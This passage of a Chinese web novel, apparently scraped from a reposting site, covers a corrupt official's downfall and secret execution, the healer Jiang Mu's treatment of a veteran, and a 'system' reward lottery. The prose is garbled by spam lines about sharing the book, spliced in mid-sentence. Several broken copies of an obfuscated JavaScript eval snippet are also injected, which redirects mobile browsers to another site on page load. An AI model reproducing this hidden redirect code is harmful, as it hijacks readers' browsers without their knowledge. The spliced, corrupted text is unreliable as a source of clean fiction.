苏志和苏红霞你一言我一语已经开始规划江守成结婚后的幸福生活。 江东山默默地坐在桌边夹起一块油亮的红烧肉放进嘴里 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,却尝不出半点滋味,只觉得满口苦涩,如同嚼蜡。 他看着被众人簇拥在中心、满面春风的二儿子,又看了看旁边对自己颐指气使的妻子和一脸鄙夷的岳母。 他感觉自己像一个彻头彻尾的外人,一个多余的、可有可无的道具。 这一瞬间,他竟无比清晰地想起了另一个儿子。 那个总是沉默寡言,眼神清冷,却脊梁挺得笔直的儿子,江沐。 心,猛地抽痛了一下。 …… 同一片夜色下,千里之外的京城。 一间警卫森严的办公室里,灯火通明。 江家老大,身穿军装,肩抗将星的江卫国,正坐在书桌后,面沉如水。 他面前的桌上,只放着一个薄薄的牛皮纸文件袋。 一名干练的警卫员将文件袋打开,取出几页纸,恭敬地放在他面前,而后悄无声息地退了出去。 江卫国的目光,落在了那几页纸上。 资料并不多,却字字千钧。 第一页,是江东山和苏红霞的家庭背景、社会关系,以及那封断绝父子关系电报的详细调查。 当看到苏红霞的父亲,苏志,是江州市革委会副主任时,他的手指轻轻敲了敲桌面,眼神没有丝毫波澜。 但当他的目光移到第二页,看到江东山履历中那一行小字时,他整个人的气息,陡然间变得凌厉! “江州三院副院长。前任,**。” 资料上清清楚楚地写着:三年前,三院外科主任**,因一封匿名**,被苏志主导的革委会定性为**学术权威,批斗后,发往大西北**农场。 自那以后,音讯全无。 而接替**升任副院长的,正是江东山。 这件事情,有猫腻! 第191章 你这次……踢到铁板了 江卫国的指尖在**两个字上停顿了片刻。 那份薄薄的资料在他眼中却重逾千斤。 上面罗列的不仅仅是苏志如何罗织罪名、构陷同僚更有他这些年利用自己的职权侵占公家财物、安插亲信、打击报复的桩桩件件。 每一条都触目惊心。 江卫国没有丝毫犹豫将资料重新整理封好。 他很清楚这份东西的分量足以在京城官场掀起一场十二级地震。 天色破晓当第一缕晨光照进那座庄严肃穆的红墙大院时江卫国已经站在了领导的书房外。 汇报的过程简洁而高效。 老人只是平静地翻阅着文件书房里只剩下纸张翻动的沙沙声。 他看完最后一页抬起头目光锐利。 “京城这潭水是该搅一搅了。” 他沉吟片刻拿起桌上的红色电话拨通了一个号码。 “是我。关于京城苏志的问题……嗯证据确凿。我来办。” 电话那头只回了四个字便挂断了电话。 “快刀斩麻。” 老人放下电话对江卫国投去一个赞许的眼神。 “去办吧。记住要稳、准、狠拔出萝卜带出泥把藏在下面的根子一并给我刨出来!” “是!” 江卫国挺身敬礼转身离去。 他知道一张针对苏志的天罗地网已经悄然张开。—— 而远在千里之外的陕州天刚蒙蒙亮江沐家的院门就被轻轻叩响。 江沐早已收拾妥当拉开门看到了等在外面的孙文杰和江援朝。 吉普车一路颠簸江援朝难掩脸上的兴奋主动开口语气里带着十二分的敬佩。 “江沐同志你真是神了!老爷子昨晚……能喝下一整碗小米粥了!精神头比前几天好太多了!” 江沐神色淡然仿佛一切尽在掌握。 “这是好事说明药力已经开始修复受损的脏腑。” 他看着窗外飞速**的黄土坡。 “最多五天 “五天?!”江援朝倒吸一口凉气眼中的敬佩几乎化为了崇拜。 这可是连京城御医都束手无策的绝症啊! 车子抵达省城军区小院早已等在门口的江志勇一见江沐下车立刻快步迎了上来。 他的态度比之上次又恭敬了数倍脸上甚至带着讨好的意味。 “江 你的朋友正在书荒,快去帮帮他吧 沐同志真是……真是太感谢你了!快请进家父已经醒了。” 卧房内经过几日的调理那股令人作呕的腐臭味已经淡去取而代之的是淡淡的药草清香。 床上的老人虽然面色依旧苍白但眼神却清明了许多。 他看到江沐挣扎着想要起身。 江沐连忙上前按住他。 “老爷子您躺好。今天感觉怎么样?有没有哪里不舒服?” 老人的声音还有些虚弱但吐字清晰。 “都好……都好……就是身上……使不上劲儿。”他看着江沐浑浊的眼中满是真诚的感激“小同志谢谢你……把我这条老命从鬼门关拉了回来。” “这是大病初愈的正常反应元气亏损得厉害。”江沐温声解释“您放心后续我再给您开几副补药慢慢就能恢复过来。” 他不再多言取出银针 捻、转、提、插指尖翻飞间十几根银针已然各归其位稳稳地扎在老人周身大穴上。 一套针法施展完毕江沐额头也渗出了一层薄汗。 收针之后江志勇热情地挽留。 “江沐同志都到饭点了留下来吃顿便饭吧?” “不了。”江沐干脆地拒绝“家里还有事我得尽快赶回去。” 他拎起药箱没有半分留恋地转身离去背影一如既往的挺拔、孤傲。—— 同一时间的京城苏志的办公室里却是一片山雨欲来风满楼的气息。 从早上开始苏志的右眼皮就一直在狂跳心里像是压了块大石头闷得他喘不过气。 他烦躁地端起茶杯刚要喝水桌上的红色电话机骤然响起刺耳的铃声让他手一抖滚烫的茶水洒了一裤子。 “喂?!”他没好气地抓起话筒。 电话那头传来一个刻意压低却无比惊惶的声音。 “苏志是我!你赶紧听着别问为什么!江卫国那个活阎王动手了!上面已经批了要彻查你!” 苏志的脑袋嗡的一声瞬间一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778528|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空白。 “记住!”那头的声音急促得如同爆豆“万一你进去了所有事自己一个人扛下来!别把我也拖下水!否则……你全家都别想好过!” 电话被粗暴地挂断。 苏志握着话筒呆立在原地冷汗瞬间浸透了后背的衬衫。 江卫国?他怎么会…… 过了许久他才像回过神来一般 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 颤抖着手,拨通了另一个号码。 “喂,老赵吗?是我,苏志。” 电话那头沉默了片刻,传来一声长长的叹息。 “老苏,别问了。你这次……踢到铁板了。通天的铁板。” “为什么?!”苏志的声音嘶哑,几近咆哮,“江卫国他凭什么动我?!” “没有为什么。”老赵的声音里带着怜悯,“现在,已经没人敢护着你了。老苏,看在当年你救过我一命的份上,我最后帮你办一件事。说吧,要我做什么。” 苏志浑身的力气仿佛都被抽空,他颓然地靠在椅背上,眼中最后的光芒也熄灭了。 他知道,大势已去,回天乏术。 “帮我……”他用尽全身力气,从牙缝里挤出几个字,“把我老婆孩子送走!去南方!越快越好!永远别回来!” 得到老赵肯定的答复后,苏志挂了电话,失魂落魄地回到家中。 他将事情简单告知了苏母,让她立刻带着苏红霞和两个孙子,跟着老赵安排的人离开。 苏母还想撒泼,却被苏志血红的双眼吓得闭上了嘴。 安排好一切,苏志仿佛被抽走了所有精气神,行尸走肉般地返回办公室。 这一天他早有预料,只不过没想到居然会这么突然。 他刚在椅子上坐下,办公室的门就被人从外面推开。 几名身穿中山装、神情严肃的男人走了进来,为首的一人亮出证件。 “苏志同志。你涉嫌严重违纪违规,请跟我们走一趟,配合调查。” 苏志看着他们,脸上没有恐惧,也没有愤怒,只剩下一种死灰般的平静。 他没有反抗,缓缓站起身反抗也是没有用的。 第192章 记住,永远不要再回来 急促而用力的砸门声,狠狠敲在苏红霞的心上。 她刚给儿子江守成掖好被角,正准备睡个回笼觉,就被这声音惊得一个激灵。 她不耐烦地趿拉着拖鞋去开门,嘴里骂骂咧咧。 门一开,她整个人都僵住了。 门口站着的,是她妈,苏母。 往日里总是收拾得利利索索的妇人,此刻头发散乱,眼窝深陷,脸上是见了鬼一样的惊恐。 “妈?你这是怎么了?”苏红霞心里咯噔一下。 苏母一把推开她,踉跄着冲进屋里,反手把门关死。 “红霞……完了……全完了!” 苏母的声音抖得不成样子,带着哭腔。 “你爸……你爸他……被抓走了!” 苏红霞只觉得眼前一黑,差点没站稳。 “不可能!这绝对不可能!我爸怎么会被抓?谁敢抓他?!”她尖叫起来。 苏母一屁股瘫坐在地上,拍着大腿嚎啕大哭。 “真的!说是……严重违纪!家里都被翻了个底朝天!你爸让我赶紧来告诉你,快……快跑!” 就在这时,院门外传来汽车的引擎声,由远及近,最后停在了门口。 母女俩的哭声戛然而止,惊恐地对视一眼。 紧接着,门被敲响了。 苏红霞吓得魂飞魄散,还没等她反应,门就从外面被打开了。 几个穿着制服的男人走了进来,神情严肃,目光如电,扫视着屋里的一切。 而在他们身后,江东山失魂落魄地跟了进来,脸色比**还难看。 为首的男人亮出证件,声音冰冷。 “我们奉命对江东山同志的住所进行搜查,请你们配合。” 说完,几人便开始在屋里翻箱倒柜。 然而,江家一贫如洗,除了几件旧家具和一些票证,根本没有半点值钱的东西。 半小时后,几人一无所获地离开了。 为首的男人临走前,看了江东山一眼,语气里听不出任何情绪。 “江东山同志,从今天起,你暂时停职,在家接受组织调查。没有允许,不得离开京城。” 门再次被关上。 苏红霞死死盯着江东山。 “说!到底怎么回事!我爸呢?我爸到底怎么了!” 江东山疲惫地摆摆手。 “……你爸,已经被正式批捕了。我……被牵连了。” 一句话,彻底击溃了苏红霞和苏母最后的心理防 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 线。 苏母猛地从地上爬起来“跑!必须跑!阿志说了让我们去南方!永远别回来!东山你……你跟我们一起走吗?” 江东山看着眼前这两个已经乱了方寸的女人眼中闪过复杂的情绪。 他还能去哪儿呢?苏家这艘船沉了他也注定要被漩涡卷进去。 他闭上眼点了点头。 “……好。” “快!快回去收拾东西!”苏母得到了肯定的答复松了口气“今晚就走!连夜走!” 红墙大院书房里烟雾缭绕。 老赵恭敬地站在书桌前神情复杂。 “领导苏志的事……” 老人没有抬头只是用火柴点燃了一根烟深吸一口缓缓吐出。 “法不容情。” “是。”老赵的腰弯得更低了“只是……他家里还有个妇人和已经出嫁的女儿一家。苏志托我……无论如何保她们一条生路。” 老**了弹烟灰目光终于从文件上移开 “苏志这些年仗着那点权势没少干混账事。拔出萝卜带出泥他家里的人干净吗?” “领导苏志当年……毕竟救过我。这份人情不能不还。” 老人沉默了片刻。 “罢了。冤有头债有主。既然没沾上核心的脏事就让他们走吧。” 他掐灭了烟头“你看着安排。但是记住不属于他们的东西一分一厘都不能带走。” “谢谢领导!”老赵如蒙大赦深深鞠了一躬。 从办公室出来老赵在走廊里碰到了迎面走来的江卫国。 “卫国同志。”老赵停下脚步眼神探究地看着他。 “老赵。”江卫国微微颔首。 “动作够快的。”老赵压低了声音“突然对苏志下这么重的手是因为……给老爷子治病的那位小同志?” 江卫国的脸上看不出任何表情但他没有否认。 “老爷子现在情况很好多谢关心。” 这便是默认了。 老赵心中了然叹了口气。 “等老爷子回京烦请通知我一声我去探望。” “一定。” 夜色如墨寒风呼啸。 老赵的车停在苏家大院门口时江东山和苏红霞已经拖着大包小包等在了那里。 苏母抱着孙子神情惶恐。 “都收拾好了?”老赵问。 “好了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 好了,赵叔,我们快走吧!”苏红霞催促道。 话音刚落,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这个江卫国,倒是越来越会说话了,不过你说的没错,确实,我可以给你撑腰。” 他转过身,目光中带着关切。 “说吧,老爷子那边,现在到底如何了?” 江卫国的脸上终于露出笑意。 “恢复得极好!那个叫江沐的小同志,医术通神!他说,再有几天,老爷子就能彻底痊愈,不日即可返京!” 第193章 以后可得听江沐神医的! 对于京城那场足以颠覆无数人命运的风暴,外界的通报只有寥寥数语——市革委会副主任苏志同志,因长期带病工作,积劳成疾,突发急性心肌梗塞,经抢救无效,不幸逝世。 一份官方讣告,轻描淡写地为一个贪婪的灵魂画上了句号,将其所有的罪恶与肮脏,尽数掩埋于尘土之下。 而此刻的陕州军区小院,却是一片与肃杀截然相反的融融暖意。 经过江沐这几日的针灸调理,躺在床上的老爷子,肉眼可见地恢复了生机。 那原本蜡黄的面色,此刻已然透出几分健康的红润,曾经浑浊的双眼,也重新凝聚起了神采。 江沐收起最后一根银针,动作行云流水,沉稳得不像个年轻人。 “恢复得不错,”他一边用酒精棉球给银针消毒,一边淡淡开口,“气血已经开始活络,脏腑的邪气也祛得差不多了。” 一旁的江志勇看得是心潮澎湃,他这个弟弟江卫国从京城快马加鞭送来的,果然不是凡人! 这哪里是医生,分明是活神仙! 他给江沐递上一条干净的毛巾,犹豫再三,还是压低了声音。 “江沐同志,京城那边……苏志的事,卫国都跟我说了。” 江志勇的语气带着试探,他紧紧盯着江沐的脸,想从上面看出哪怕一丝一毫的情绪波动。 然而,他失望了。 江沐只是擦了擦手,那张清俊的脸上平静无波,仿佛听到的只是今天天气不错之类的闲谈。 “哦。” 一个字,仅此而已。 江志勇愣住了,这反应……也太平淡了吧? 他忍不住又补了一句:“对外宣称是心脏病,实际上……是秘密枪决。” 说出枪决两个字时,他刻意加重了语气。 江沐终于抬起眼皮,看了他一眼,那眼神清澈见底,却又带着一种洞穿世事的疏离。 “二哥,那些人和我,早就没关系了。” 他语气平淡,却字字清晰。 江志勇心中巨震。 他瞬间明白了。 眼前这个年轻人,内心该是何等的强大与孤高,才能将血缘亲情看得如此淡漠! 不,那或许根本不是淡漠,而是被伤透了之后,彻底的**。 江志勇肃然起敬,心中那点因为家世背景而产生的优越感荡然无存。 他郑重地看着江沐。 “江沐同志,我懂了。你记住,从今往后,我们江家,欠你一个天大的人情。我,江 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 卫国,江援朝,我们三兄弟,只要你开口,任何事,我们万死不辞!就算你想立刻调回京城,我马上就去打报告!” 这承诺,重如泰山。 江沐却只是微微颔首,将银针悉数收入布包。 “多谢二哥的好意。我现在在青莲公社挺好的,如果以后真有需要,再麻烦你们。” 云淡风轻,不卑不亢。 江志勇看着他,心中只剩下一个念头:此子,绝非池中之物,他日必将搅动风云! 治疗结束,江沐婉拒了江志勇留他吃饭的邀请,乘着吉普车回了家。 刚进院子,就看到张小月急匆匆地跑了过来,手里捏着一张薄薄的纸。 “江沐哥,你的电报!” 她的脸上写满了担忧,那个年代,电报通常意味着急事,不是生离,就是死别。 江沐接过电报,手指甚至没有颤抖。 他不用看,也知道里面写的是什么。 那场风暴的余波,终于抵达了他这里。 是切割,是了断,是江东山和苏红霞为了自保而与他划清界限的最后通牒。 “是不是家里出什么事了?”张小月的大眼睛里满是关切,“江沐哥,你要是心里难受,就跟我说说,别一个人憋着。” 看着女孩清澈见底的眼神,江沐心中划过暖流。 他扯了扯嘴角,露出一个极淡的笑容。 “我没那么脆弱。” 说完,他转身回屋,将那封电报随手扔在了桌上,看都未看一眼。 次日清晨,天刚蒙蒙亮,江援朝就亲自开车来接他。 当江沐再次见到老爷子时,发现他已经能靠着床头坐起身,正捧着一本**选看得津津有味,精神头比昨天又好了几分。 “老爷子,今天感觉怎么样?” “好!好得很!”老爷子中气十足地笑起来,“感觉浑身都有劲儿了!” 江沐上前,为他做完最后一次针灸。 结束之后,他沉声开口。 “二哥,从明天起,就不用再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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江志勇也在一旁连连点头,眼神里充满了感激。 “江沐同志说得对!爸,您就是这脾气,什么事都自己扛!以后可得听江沐神医的!” 第194章 这不叫张扬,这是**需要 江志勇更是醍醐灌顶,看向江沐的眼神,带着几分赞赏。 江沐并未在意众人的反应,他从随身的布包里取出纸笔,笔走龙蛇,很快便写下了一纸药方。 “江大哥,这是十全大补汤的方子。 他将药方递过去,墨迹未干,字迹却苍劲有力,自有一股风骨。 “等老爷子现在这副药喝完,就换这个。一日一剂,三碗水煎成一碗,能补气养血,固本培元。 江志勇如获至宝,双手小心翼翼地接过! 他盯着药方,喉结滚动了一下,终究是没忍住心底最深的渴望,声音都有些发颤。 “江沐同志……我……我冒昧问一句,我父亲他这身体,以后有没有可能……延年益寿? 这话一出,连江援朝都屏住了呼吸! 延年益寿,这四个字,自古以来便是帝王将相的终极追求,何其缥缈! 江沐的表情却无波无澜,他摇了摇头。 “现在谈这个,为时过早。 “老爷子大病初愈,眼下最要紧的是用温和的雨露慢慢滋润,恢复元气。至于以后能否承受得住更猛烈的滋补,甚至逆天改命,都得看他自身恢复的情况。根基不稳,强行进补,无异于拔苗助长,反受其害。 江志勇心中一凛,瞬间冷静下来。 是啊,自己太心急了! 能从鬼门关把人拉回来,已经是天大的奇迹,怎能如此贪心不足! “我明白了!多谢指点!他一脸愧色,随即郑重地将药方折好,贴身收起。 江沐看了一眼窗外的天色,起身告辞。 “老爷子,江大哥,不早了,我该回去了。 “哎!别走! 一直没说话的老爷子猛地一抬手,中气十足地喊了一声,那双重新焕发神采的眼睛里满是真诚的挽留。 “小同志给了我第二条命,连顿饭都不吃就要走,传出去,我这张老脸往哪儿搁?不行!今天必须留下吃饭! “对对对!江志勇也立刻反应过来,一把拉住江沐的胳膊,力气大得惊人,“江沐,你可不能走!这顿饭你要是不吃,就是打我们江家所有人的脸! 江援朝也在一旁帮腔,“是啊江沐兄弟,就吃顿便饭,我开车送你,快得很! 盛情难却。 江沐看着这一家子人灼热的目光,默然片刻,最终还是点了点头。 “好! “太好了!江志勇兴奋地一拍手,立刻扭头对江援朝下 你的朋友正在书荒,快去帮帮他吧 令“老三马上去国营饭店!把他们最好的菜都给我订上!记住要快!另外给孙叔打个电话让他也过来一起吃一口!” “好嘞!”江援朝应了一声脚下生风地跑了出去。 酒桌之上气氛热烈。 江志勇、江援朝兄弟俩轮番上阵敬酒的话说了一遍又一遍翻来覆去就是感谢与恩情言辞恳切发自肺腑。 就连赶来的孙文杰 江沐酒量尚可来者不拒但神色始终清醒淡然。 他明白这份恩情对方是记下了。 饭后依旧是江援朝开着那辆军用吉普送江沐回家。 车子在夜色下的土路上颠簸江援朝一边把着方向盘一边神秘兮兮地冲江沐挤了挤眼。 “江沐兄弟我大哥给你准备了个惊喜明天就到。” “惊喜?”江沐眉梢一挑。 “透露一下?” 江援朝嘿嘿一笑压低了声音。 “一辆摩托车!我大哥托关系从厂里直接提的!明天一早就给你送到家里去!” 摩托车! 饶是江沐心性沉稳听到这三个字眼神也不由得闪过一讶异。 在这个自行车都算稀罕物的年代一辆摩托车的分量不亚于后世的一辆豪华跑车! 他立刻皱起了眉头。 “不行这太张扬了我不能要。” “哎江沐兄弟这你必须收下!”江援朝的语气坚定“以后有了这铁驴子十里八乡你想到哪儿就到哪儿救人也方便不是?这不叫张扬这是**需要!” 见江沐还在犹豫他又补了一句。 “再说了加油的事我大哥都安排好了给你备了张条子你直接去县**局的油库加就行管够!” 话都说到这份上了江沐知道再拒绝就是矫情了。 这江家兄弟行事果然滴水不漏。 车子停在知青点院外江沐下了车。 “进屋坐坐?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们那是瞎了眼!有眼无珠 江沐长腿一撑,稳稳地停在院外。 李有柱从后座上下来的时候,腿肚子还在微微打颤,一张饱经风霜的黑脸涨得通红,不是吓的,是纯粹的兴奋! “乖乖!我的老天爷!他绕着那辆崭新的摩托车又转了一圈,手掌在车身上来回摩挲,那眼神,比看自家婆姨还要亲热,“江沐,这铁驴子……可真带劲! 周围看热闹的知青和村民们也是议论纷纷,羡慕的、嫉妒的、惊叹的目光,聚焦在江沐和这辆拉风的摩托车上。 江沐对此早已习惯,神色淡然地拔下车钥匙,准备推车进院。 可李有柱紧紧跟在他身边,眼神却一个劲儿地往别处瞟,一副欲言又止的模样。 “姑父,有事?江沐停下脚步,目光平静地看着他。 “呃……没……没事……李有柱嘴上说着没事,脚下却像生了根,挪都不挪一下,憋了半天,才又挤出一句,“这车……真亮堂! 江沐干脆把车撑好,从兜里摸出大前门,递了一根过去,自己也点上一根,深深吸了一口,缓缓吐出烟圈。 “有话就直说,姑父,咱们之间不用绕弯子。 李有柱被他这么一看,那点扭捏劲儿顿时就没了。 他接过烟,狠狠嘬了一口,这才压低了声音,脸上带着几分愤愤不平,又夹杂着关切。 “江沐……那个……前两天小月那丫头收电报的时候,我正好在旁边瞅了一眼…… 他顿了顿,观察着江沐的脸色,见他没什么变化,才继续往下说。 “我……我不是故意偷看的!就是那几个字……断绝父子关系……实在太扎眼了! 说完,他像是怕戳到江沐的痛处,赶紧摆手补充。 “你可别往心里去!我就是替你不值!你这么大本事的人,救了多少人的命!他们……他们…… 李有柱是个粗人,想不出什么复杂的词,最后气得一跺脚。 “他们那是瞎了眼!有眼无珠! 江沐闻言,眼底掠过暖意。 他弹了弹烟灰,无奈笑了笑。 “我挺好的,姑父。 他的声音很轻,却异常坚定。 “等小月把孩子生下来,我江沐也算是有老婆孩子热炕头的人了。过去的事,就让它过去吧,没什么想不开的。 他这番云淡风轻的话,听在李有柱耳朵里,却更觉得心疼。 这得是受了多大的委屈,才能把这么大的事说得跟吃饭喝水一样平常? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 李有柱的眼眶猛地一红他蒲扇般的大手重重地拍在江沐的肩膀上力气大得惊人。 “他们不要你是他们的损失!你记着以后我老李家就是你家!这青莲公社二大队就是你的亲人!谁要是敢欺负你先问问我和你叔伯兄弟们手里的锄头答应不答应!” 这番话掷地有声带着黄土地最质朴也最滚烫的情义。 江沐抬起头迎着李有柱那真挚无比的目光笑了。 “姑父”他掐灭了烟头认真地看着对方“说什么以后?咱们早就是一家人了。” 一句话让李有柱这个七尺高的汉子眼泪差点掉下来。 江沐顺势搂住他的肩膀朝院里扬了扬下巴。 “走别在外面杵着了。晚上没事上我那屋喝两盅!” …… 时间一晃而过。 九月一日凌晨。 万籁俱寂江沐躺在床上意识却沉入了系统空间。 经过这段时间的积累他的声望值已经暴涨到了一个全新的高度——3500点! 看着那串金色的数字江沐的心跳都快了几分。 该来一波大的了! “系统单抽五次!” 【叮!开始抽奖……】 脑海中巨大的**飞速旋转光华流转。 【恭喜宿主获得:白色区域物品——精盐一袋(500g)。】 【恭喜宿主获得:蓝色区域物品——红双喜火柴十盒。】 【恭喜宿主获得:白色区域物品——的确良手帕一条。】 【恭喜宿主获得:白色区域物品——白糖半斤。】 【恭喜宿主获得:蓝色区域物品——钢笔一支。】 江沐的脸黑得像锅底。 五连抽全是些不痛不痒的日用品! 这运气也是没谁了! “妈的我就不信这个邪了!” 一股不服输的劲儿涌了上来。 “系统!直接来一发十连!” 【叮!消耗1000声望值十连抽奖开始!】 **再次疯狂转动这一次光芒比之前任何一次都要璀璨! 五道白光五道蓝光 江沐的心已经沉到了谷底。 难道今天出门没看黄历? 就在他以为十连抽也要血本无归之时一道机械的提示音突然响起! 【叮!检测到宿主佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778532|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴称号小白脸触发额外抽奖机会 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一次!】 话音刚落,那已经停止的**,猛地爆发出一阵刺眼的金光! 金色! 江沐的呼吸瞬间停滞! 【恭喜宿主获得:金色区域物品——锻体丹一枚!】 成了! 江沐猛地从床上坐起,眼中精光四射! 他没有再继续抽奖,见好就收,才是王道。 第二天,江沐将那枚龙眼大小、散发着淡淡清香的锻体丹,悄悄碾碎了一小角,融入了给张小月准备的红糖水里。 “来,小月,喝点水,补补身子。” 几天后,张小月正在院子里散步,忽然惊奇地拉住江沐的胳膊。 “江沐,我怎么感觉……我最近力气好像变大了不少?以前走几步就喘,现在能绕着院子走好几圈都不累!” 江沐面不改色地摸了摸她的头,温和一笑。 “那是你肚里的娃心疼你,给你力气呢。说明你身体好,底子好。” 张小月似懂非懂地点了点头,又说起了另一件事。 “对了,嫂子跟我说了,她到时候准备回娘家坐月子。她说咱俩预产期差不多,到时候就让妈过来专门照顾我,你说行不?” “行啊,你们商量好就行,我没意见。”江沐对这些琐事向来不插手。 日子一天天过去,转眼又是一个礼拜。 这天下午,老丈人张峰和大舅哥张玖博提着一兜子鸡蛋和几斤肉找上了门。 张玖博一见江沐,就激动地抓住他的手,满脸喜色。 “妹夫!多亏了你!我……我被提拔成小队长了!工资也涨了,一个月三十块二!” 一家人坐在屋里聊了整整一个下午,直到太阳快落山,父子俩才心满意足地离开。 送走岳父和大舅哥,第二天一大早,李有柱的大嗓门就在村里的大喇叭里响了起来。 “社员们注意啦!社员们注意啦!都到大队部的打谷场开会!有要紧事!再通知一遍……” 江沐和张小月对视一眼,也跟着人群朝打谷场走去。 等所有人都到齐了,李有柱清了清嗓子,站在一张破桌子上,中气十足地宣布。 “今天叫大家来,是有一件大好事!咱们村的知青赵倩同志,响应**主席的号召,准备在咱们村里……办个课堂,教娃们读书认字!” 第196章 今晚的消费,全由成公子买单 打谷场上黑压压的社员们瞬间炸开了锅。 “办课堂?教娃认字?” “这些城里来的知青就是花样多地里的活儿都干不利索还想当先生?”一个嘴碎的婆姨撇着嘴满脸不屑“读书认字有啥用?能当饭吃?能多打几斤粮食?” 她这话立刻引来一片附和。 “就是!我家那小子能扛得动锄头就不错了认那鬼画符不是耽误上工挣工分吗!” “闲的!我看他们就是闲的!” 议论声越来越大。 站在破桌子上的李有柱 “都给我闭嘴!” 一声怒吼压下了所有嘈杂。 李有柱的目光扫过底下每一个人的脸那股队长威严让不少人缩了缩脖子。 “读书没用?!”他指着自己的鼻子声音里带着一股子火气“去年公社分粮账本发下来你们哪个看得懂?是不是会计说多少就是多少?前年发救济布隔壁村的把条子上的十尺描成了一十尺硬生生多领了一匹布走你们谁看出来了?” “咱们睁眼瞎被人卖了还帮着数钱!你们就想让你们的娃将来也跟咱们一样连自己的名字都写不来一辈子就只能脸朝黄土背朝天当个睁眼瞎?!” 那些刚才还嚷嚷着读书无用的社员此刻都低下了头脸上火辣辣的。 是啊队长说的在理他们这辈子吃的亏还少吗? 李有柱缓了口气语气也放软了些。 “我不是强迫大家这事儿全凭自愿。但是我把丑话说在前头机会就这一次错过了可就没了!将来你们的娃走出这大山能挺直腰杆子还是低着头任人拿捏你们自个儿掂量!” 人群中一个汉子讷讷地举起了手。 “队长……那……咋个报名?” “等会儿散会了想让娃来上课的就到赵倩同志那里登记!”李有柱脸上终于露出了笑容他一指站在人群前方的赵倩和另一个女知青“老师就是赵倩同志和邹芳芳同志!她们可是城里来的文化人!为了这事大队里商量了一年给她们记……五百个工分!” 五百个工分! 看来大队这次是下了血本了。 “好了!这事儿就这么定了!”李有柱大手一挥又扯着嗓子强调了几句秋收的安全生产问题这才宣布散会。 第二天村里废弃的旧祠堂里就传出了孩子们稚嫩却响 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 亮的读书声给这个古老的村庄注入了一股前所未有的生机。 时间一晃又到了月底发工资的日子。 江沐那辆摩托车在一片艳羡的目光中突突地喷着青烟停在了公社大院。 领完自己那份工资和各种票证江沐刚准备离开就迎面撞上了孙阳。 今天的孙阳跟以往那副谨小慎微的样子截然不同整个人满面春风走路都带飘的脸上的褶子都笑开了花。 “孙哥。”江沐点了下头随口打趣了一句“这是遇上什么天大的喜事了?人逢喜事精神爽啊。” 孙阳一愣随即咧嘴一笑神神秘秘地把他拉到一边压低了声音。 “江老弟你这眼睛可真毒!不瞒你说还真有件好事!”他脸上带着压抑不住的得意“周**……这两天就要调走了。” 江沐心头一动。 孙阳左右看了看声音更低了“到时候我就顶了周**那个位置。嘿……这几天周**忙着交接不然说什么也得请你撮一顿!” “那得提前恭喜孙**了。”江沐脸上挂着淡淡的笑意心里却跟明镜似的。 这孙阳一向是周志康的跟班周志康一走他顺理成章地顶上倒是顺理成章。 两人又客套了几句江沐便跨上摩托在一阵轰鸣声中绝尘而去。 与此同时千里之外的湘平市。 一列南下的绿皮火车喘着粗气停靠在站台。 苏老太陈静搀扶着失魂落魄的江东山身后跟着一脸怨毒的苏红霞和两个孩子走下了火车。 相比于京城的干燥湘平的空气里弥漫着一股湿冷的、带着水汽的霉味让人从骨子里感到不适。 按照苏志出事前留下的地址一行人七拐八拐在一条破旧的巷子里找到了一个挂着庆丰五金招牌的铺子。 一个穿着的确良衬衫手腕上戴着手表的中年男人正在柜台后算账。 他听到动静抬起头当看到陈静那张虽已苍老、却依稀可见当年风韵的脸时手里的算盘珠子都停住了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 